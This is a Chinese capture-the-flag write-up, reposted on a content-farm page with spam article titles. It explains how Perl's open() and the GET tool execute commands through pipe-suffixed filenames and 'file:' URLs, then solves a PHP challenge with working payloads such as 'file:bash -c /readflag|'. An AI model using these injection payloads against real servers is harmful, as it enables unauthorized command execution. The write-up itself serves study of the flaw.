当前位置: 首页 > news >正文

湖北智能网站建设制作短视频培训

湖北智能网站建设制作,短视频培训,开发公司对物业公司的处罚通告范文,微信网站制作价格这里记录学习一下 perl的open缺陷 这里首先本地测试一下 发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行 然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行 然后这里如果file可控那么就继续可以实现命令执行 这里就…

这里记录学习一下 perl的open缺陷

这里首先本地测试一下

发现这里使用open打开 的时候 如果通过管道符 就会实现命令执行

然后这里注意的是 perl 中的get 调用了 open的参数 所以其实我们可以通过管道符实现命令执行

然后这里如果file可控那么就继续可以实现命令执行

这里就是 open支持file协议

file协议加上| 可以将文件名 作为shell输出

touch 'id|'GET 'file:id|'

类似这种

然后我们可以开始做这个题目

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));

这里是内容 我们输入通过GET url 可以实现写入一个文件

这里考的其实就是

我们通过filename生成一个shell文件(名字为shell)

然后通过(GET filename)这种形式实现命令执行 然后再写入一个文件

这里可能比较抽象 我们来本地测试一下

这里我们首先可以通过

    @mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);

这种确定是perl语言

然后

我们首先传入

url=123&filename=ls|   //目的创建一个shell名字的文件然后url=file:ls|&filename=1.txt  // 通过file协议和| 让ls不做为文件名 而变为shell

首先了命令执行

然后

这里可以发现是一个二进制文件 无法获取flag 我们通过 bash开启操作即可

?url=123|&filename=bash -c /readflag|/?url=file:bash -c /readflag|&filename=1.txt

然后我们就获取到了flag 这里或者可以通过反弹shell实现 但是麻烦了

http://www.mnyf.cn/news/39312.html

相关文章:

  • 互联网100个创业项目名称广州seo网站管理
  • 佛山做网站公司排名南宁在哪里推广网站
  • 站酷设计网站怎样下载图片自己做一个网站要多少钱
  • 郑州网站设计哪家公司好东莞百度推广排名优化
  • 广州做手机网站建设seo怎么优化效果更好
  • window7用jsp做的网站要什么工具江苏seo推广
  • 毕设做的网站可以用模板改吗sem是做什么的
  • 做网站怎么留接口免费手机网站建站系统
  • 网站建设要花多少钱百度霸屏推广一般多少钱
  • 企业门户网站怎么做视频号的链接在哪
  • 门户网站建设公司哪家好朋友圈网络营销
  • 响应式网站建设软文硬件优化大师
  • 网站开发公司交易流程全球热搜榜排名今日
  • 网站建设细化流程搭建一个网站需要多少钱?
  • jsp 响应式网站模板下载百度信息流广告
  • 越秀区建设水务局网站最新军事动态
  • 网站开发之ios知识扩展网站优化北京seo
  • 石家庄网站建设推广公司哪家好网站权重什么意思
  • 杭州网页设计公司招聘seo引擎优化是做什么的
  • 旅游网站建设的目标是什么意思十大洗脑广告
  • 又拍网站怎么做网店营销
  • 平衡木网站建设网上怎么推销自己的产品
  • 网站建设维护推广合同app推广活动策划方案
  • 泰安聊城网站建设短视频推广渠道
  • 百度申诉网站足球排行榜前十名
  • 男女性男女直接做的视频网站抖音关键词搜索指数
  • wordpress能否做网站平台引流推广怎么做
  • 即墨做网站公司百度搜索引擎下载
  • 苏州做网站最好公司有哪些百度指数分析案例
  • 网站公司怎么做的好处小说排行榜